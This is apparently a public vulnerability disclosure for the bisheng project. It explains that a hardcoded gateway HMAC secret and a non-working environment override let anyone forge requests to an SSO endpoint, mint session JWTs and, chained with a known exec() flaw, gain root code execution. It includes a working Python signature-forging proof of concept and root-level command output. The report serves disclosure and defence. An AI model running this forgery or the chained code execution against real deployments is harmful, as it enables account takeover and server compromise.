Unauthenticated RCE: shipped config.yaml hardcodes gateway HMAC secret and the documented env override does not work, turning /api/v1/internal/sso/login-sync into a JWT-minting endpoint
Summary
The SSO gateway HMAC secret shipped in the bundled docker/bisheng/config/config.yaml is a hardcoded literal (gateway_hmac_secret: "bisheng-local-hmac-20260422"), and the env-var override documented in the code (BS_SSO_SYNC__GATEWAY_HMAC_SECRET, also pre-set in docker/docker-compose.yml) does not actually take effect. As a result, every default deployment accepts forged gateway requests, and POST /api/v1/internal/sso/login-sync becomes an unauthenticated JWT-minting endpoint: anyone who can reach the API obtains a valid, freshly-signed session JWT for an attacker-chosen user identity, without any account or prior credential.
Chained with the already-public run_once code-execution issue (#2189, CVE-2026-82278), this yields full unauthenticated RCE as root on default deployments — and unlike the mitigation implied by #2189 (rotate jwt_secret), this chain does not depend on jwt_secret at all. Deployments that rotated jwt_secret after #2189 remain fully vulnerable.
Verified end-to-end against the official image dataelement/bisheng-backend:v3.0.0-beta1 with the default compose configuration: uid=0(root) command output returned over HTTP.
Details
1. Hardcoded HMAC secret, and an env override that silently does nothing
docker/bisheng/config/config.yaml (volume-mounted by docker/docker-compose.yml) contains a plain literal:
gateway_hmac_secret: "bisheng-local-hmac-20260422"The same literal is present in the v2.6.0 and v3.0.0-beta1-fix trees. The compose file also sets BS_SSO_SYNC__GATEWAY_HMAC_SECRET, and the config field description (src/backend/bisheng/core/config/sso_sync.py:19) tells operators to override via that env var — but neither works:
Settingsis a plainpydantic.BaseModel(core/config/settings.py:760), notBaseSettings, so pydantic never reads env vars. The only env mechanism in the config service is the YAML!env ${VAR}tag constructor (common/services/config_service.py:85-93), and the shippedconfig.yamluses a literal string, not!env.- Verified in-container: with
BS_SSO_SYNC__GATEWAY_HMAC_SECRETset to a different value, a freshly constructedConfigService()still yieldssso_sync.gateway_hmac_secret == ''(defaults) — i.e. the effective secret comes solely from the mounted YAML literal, and an operator who "rotates the env var" changes nothing at runtime.
(When no config.yaml is mounted, the secret defaults to '' and the HMAC endpoints fail closed — so the exploit requires exactly what the official deployment template ships.)
2. The HMAC gate mints real sessions
src/backend/bisheng/sso_sync/domain/services/hmac_auth.py:58 — signature is HMAC-SHA256(secret, "METHOD\nPATH\n" + raw_body), sent in X-Signature. There is no replay protection (no timestamp window on the signature, and ts is only a body field, not authenticated freshness).
POST /api/v1/internal/sso/login-sync (sso_sync/api/endpoints/login_sync.py:24) is mounted unconditionally (api/router.py:85), is exempt from JWT auth (utils/http_middleware.py exempt paths), and calls LoginSyncService.execute, which upserts the user row for any external_user_id and returns a freshly signed JWT (token field) using the real AuthJwt and the real DB token_version (sso_sync/domain/services/login_sync_service.py:231-246).
Additional impact from the same endpoint:
- Existing-account takeover: the legacy-adoption path (
login_sync_service.py:263-295) binds the minted session to an existing user when the attacker knows theirexternal_id(e.g. employee IDs are guessable/enumerable in many orgs). - Privilege self-grant:
primary_dept_external_id/department_admin_external_idsin the same payload drive OpenFGAdepartment:{id}#admin@user:{uid}grants (login_sync_service.py:180-184, 617+). The sibling endpoints/api/v1/departments/syncand/api/v1/internal/sso/gateway-wecom-org-syncare protected by the same hardcoded secret only.
3. From a minted low-privilege session to root RCE
The minted user (default role) can create their own workflow (POST /api/v1/workflow/create, login + quota only) and then execute the already-documented run_once code-node issue (#2189 / CVE-2026-82278) against their own workflow, which runs unsandboxed Python via bare exec() (workflow/nodes/code/code_parse.py:92,96). The backend container runs as root.
Proof of Concept
Fully unauthenticated, on dataelement/bisheng-backend:v3.0.0-beta1 with default compose config:
import hmac, hashlib, json, time, urllib.request
BASE = "http://127.0.0.1:7860"
SECRET = "bisheng-local-hmac-20260422" # shipped config.yaml:35
PATH = "/api/v1/internal/sso/login-sync"
body = json.dumps({"external_user_id": "poc-user-1", "ts": int(time.time())}).encode()
sig = hmac.new(SECRET.encode(), f"POST\n{PATH}\n".encode() + body, hashlib.sha256).hexdigest()
req = urllib.request.Request(BASE + PATH, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("X-Signature", sig)
token = json.loads(urllib.request.urlopen(req).read())["data"]["token"]
# -> valid JWT for a freshly created account, no credentials supplied
# Step 2: create own workflow (login + quota only)
# POST /api/v1/workflow/create Cookie: access_token_cookie=<token> {"name": "poc"}
# Step 3: run_once a Code node (see #2189) against that workflow id:
# node_data.data.type = "code", group_params: code = "def main():\n ... subprocess ..."
# Observed response: {"out": "uid=0(root) gid=0(root) groups=0(root)"}Observed server response for step 3:
{"status_code": 200, "data": [[{"key": "code_output", "value": {"out": "uid=0(root) gid=0(root) groups=0(root)"}}]]}Impact
- Unauthenticated RCE as root on default deployments (hardcoded HMAC secret → minted session → #2189 code node), independent of
jwt_secretrotation. - Account takeover of existing users whose
external_idis known. - Unauthorized privilege self-grant to department admin via the same forged requests (also
/api/v1/departments/sync,/api/v1/internal/sso/gateway-wecom-org-sync). - Affects the full release line: the hardcoded secret and the login-sync endpoint are present in v2.6.0 through v3.0.0-beta1-fix (14/14 release tags audited).
Disclosure note
Reported publicly following the same route as #2189/#2190 (private security-advisory drafts on this repository have historically received no response, and those issues remain open with no vendor comment as of today). Versions audited: v2.5.0 → v3.0.0-beta1-fix. Related prior art: #2189 (authenticated run_once RCE), #2190 (unauthenticated SSRF), CVE-2026-82278, CVE-2026-82285.
— dreamfly0908 · GitHub: NightGlowww
Source: dataelement/bisheng